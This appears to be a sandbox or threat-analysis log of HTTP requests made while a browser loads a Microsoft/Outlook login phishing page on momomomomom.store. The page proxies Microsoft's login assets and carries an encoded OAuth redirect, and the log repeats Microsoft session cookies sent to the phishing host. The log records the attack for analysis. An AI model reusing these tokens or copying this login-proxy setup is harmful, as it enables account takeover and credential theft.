buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_80e93b9a4cb13643afca.js HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA
Source: global traffic	HTTP traffic detected: GET /owa/prefetch.aspx HTTP/1.1 Host: outlook.office365.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://momomomomom.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; brcap=0
